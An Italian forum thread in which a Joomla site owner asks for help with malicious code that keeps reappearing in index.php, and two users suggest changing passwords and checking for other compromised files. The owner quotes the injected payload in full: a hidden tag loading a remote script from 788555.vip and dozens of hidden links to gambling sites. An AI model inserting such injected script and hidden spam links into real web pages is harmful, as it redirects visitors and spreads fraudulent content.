Codice malevole nel file index.php

**myexamreview** · 12-11-2017, 15.14.16

Ciao a tutti, ho bisogno di un aiuto relativo alla presenza di codice malevolo nel file index.php, che si autorigenera anche dopo averlo cancellato.

Da diversi mesi il mio sito è soggetto a inserzione di codice o file malevoli, che non ne permette la visualizzazione o ne induce il reindirizzamento su altri siti. Con pazienza, ho pulito tramite ftp tutti i file sospetti. Tuttavia, persiste la presenza di un codice, nel file index.php, che mi reindirizza a siti giapponesi - pseudopornografici - di acquisti online. Se cancello la riga del file index, il sito torna funzionale e visualizzabile. Tuttavia, temo che da qualche parte vi sia un comando che permette, ogni 48 ore circa, la riscrittura del codice, che mi obbliga continuamente a modificare il file index perchè il sito continui ad essere visualizzato.

Ho provato ad aggiornare joomla all'ultima versione. Per un codice di errore finale, non riesco a fare l'aggiornamento automatico, e all'aggiornamento tramite ftp, che va a buon fine, non riesco tuttavia a visualizzare il sito credo per un errore di incompatibilità tra l'ultima versione installata di joomla e il template del sito.

Per cui, ho la versione di joomla 3.7.5 Stable di agosto 2017.
Il sito è www.myexamreview.altervista.org

Il codice malevolo che si inserisce nel file index.php, e cancellato il quale riesco a visualizzare il sito, è il seguente:

<span class="mylinkcode" style="display:none"><script src="http://www.788555.vip/4.js" rel=’external nofollow’></script><div style="display:none"><strong style="font-weight: 400">友情链接:<a href="http://www.qhdjrfw.com/">澳门网络赌博 网址</a><a href="http://qhdjrfw.com/">澳门网上赌博 网站</a><a href="http://www.wanbaoguanggao.com/">开户赌博网</a><a href="http://www.gzbowin.com/">澳门在线赌场 网址</a><a href="http://gzbowin.com/">澳门赌博游戏 网址</a><a href="http://www.hnweirong.com/">澳门赌博平台 网址</a><a href="http://hnweirong.com/">网上新葡京</a><a href="http://357w.com/">线上赌博开户 </a><a href="http://toyuele.com/">澳门新葡京会 官网</a><a href="http://www.ou-te.com/">金沙官方网址 </a><a href="http://ou-te.com/">澳门网上赌场 网址</a><a href="http://www.qifenge.com/">澳门新葡京官 网多少</a><a href="http://qifenge.com/">澳门金沙真人 官网</a><a href="http://www.gebreakers.com/">澳门赌场官方 网站</a><a href="http://gebreakers.com/">线上赌博网平 台</a><a href="http://www.tcldy.com/">新葡京官网导 航</a><a href="http://tcldy.com/">葡京赌场官方 网站</a><a href="http://www.hsghxj.com/">线上娱乐场网 站</a><a href="http://hsghxj.com/">大發888真人娱&#x4E 50;场手机官网</a><a href="http://www.jabanjia.com/">澳门金沙官网 平台</a><a href="http://mengshan88.com/">赌博网站开户 </a><a href="http://b2light.com/">澳门葡京赌场 上网导航</a><a href="http://www.xiangjiangtaiqiu.com/">澳门金沙官方 网址</a><a href="http://xiangjiangtaiqiu.com/">网上赌场官网 </a><a href="http://www.henangt.com/">澳门永利赌场 平台</a><a href="http://www.jrcygl.com/">澳门新葡京在 线官方网址</a><a href="http://jrcygl.com/">真人赌钱游戏 平台</a><a href="http://www.dyjpjm.com/">电子游艺赌场 平台网址</a><a href="http://dyjpjm.com/">新葡京赌场官 网</a><a href="http://www.xxswsj.com/">网上在线赌博 网址</a><a href="http://www.nbhxpm.com/">大发888网上娱&#x4E 50;场</a><a href="http://nbhxpm.com/">最新赌博网站 </a><a href="http://www.szbxzs.com/">新葡京真人赌 博官网</a><a href="http://www.gg-tour.com/">新葡京赌博网 站网址</a><a href="http://www.dvjmix.com/">澳门新葡京导 航</a><a href="http://dvjmix.com/">葡京网上娱乐 场官网</a><a href="http://www.xalzzm.com/">大发真人娱乐 场网址</a><a href="http://www.mhgyp.com/">澳门葡京美女 </a><a href="http://mhgyp.com/">永利赌博网站 大全</a><a href="http://www.hydfz.com/">澳门赌场新葡 京网站</a><a href="http://www.gzrsdz.com/">澳门网上赌博 网址</a><a href="http://gzrsdz.com/">澳门新葡京娱 乐开户</a><a href="http://www.huarangas.com/">新葡京线路检 测中心</a><a href="http://huarangas.com/">新葡京手机开 户</a><a href="http://www.ycwwly.com/">澳门新葡京哪 里开户</a><a href="http://ycwwly.com/">澳门葡京官方 网址</a><a href="http://www.yc13z.com/">澳门开户网站 </a><a href="http://yc13z.com/">澳门葡京官网 网址</a><a href="http://www.513lg.com/">澳门葡京棋牌 </a><a href="http://513lg.com/">澳门新葡京娱 乐网站</a><a href="http://www.lwsjxx.com/">澳门新葡京集 团总部</a><a href="http://lwsjxx.com/">澳门葡京娱乐 网站</a><a href="http://www.hnhtkj.net/">澳门葡京集团 </a><a href="http://51cgj.com/">新葡京网站娱 乐</a><a href="http://www.gy-zgsh.com/">澳门葡京娱乐 官方网站</a><a href="http://www.bhhzdx.net/">澳门葡京游戏 官网</a><a href="http://www.fsgfhh.com/">澳门新葡京地 址</a><a href="http://fsgfhh.com/">澳门新葡京在 哪开户</a><a href="http://www.dl20gz.com/">澳门新葡京游 戏网站</a><a href="http://dl20gz.com/">新葡京棋牌娱 乐官网</a><a href="http://www.zhenaihunsha.com/">澳门葡京网开 户</a><a href="http://travelcq.com/">葡京国际官网 </a><a href="http://www.chenjiagou.cc/">澳门新葡京官 方娱乐</a><a href="http://www.sxczzx.com/">新葡京游戏开 户</a><a href="http://www.lscjzx.com/">澳门葡京官网 网址是什么</a><a href="http://www.jktjzx.com/">澳门葡京网上 娱乐</a><a href="http://www.zgjjsw.com/">澳门新葡京网 址大全</a><a href="http://zgjjsw.com/">澳门新葡京官 网开户</a></strong></div></span><span class="mylinkcode"><marquee height=1 width=5 scrollamount=3000 scrolldelay=20000><a href="http://www.google.com">google.com</a><a href="http://www.aol.com">aol</a><a href="http://www.amazon.com">amazon</a><a href="http://www.yahoo.com">yahoo.com</a><a href="http://www.baidu.com">baidu.com</a></marquee></span><?php

Sapete come aiutarmi? Oppure, sapete indirizzarmi a qualche software/società che - a prezzo contenuto - riesca a dare una pulizia al codice del sito?

Grazie in anticipo

**RedWebSite** · 13-11-2017, 11.14.42

Ciao, per aggiornare joomla non si puo piu utilizzare il "metodo FTP" segui quello che c'è scritto in questo articolo http://alterjoomla.altervista.org/ne...ltervista.html

EDIT: Mi raccomando cambia tutte le password, di joomla e di altervista!

**karl94** · 13-11-2017, 11.19.53

Se anche dopo che lo rimuovi ricompare significa che ci sono altri file compromessi sul tuo spazio web o che le tue credenziali sono state compromesse.

Discussione: Codice malevole nel file index.php

LinkBack

Strumenti discussione

Display

Codice malevole nel file index.php

Regole di scrittura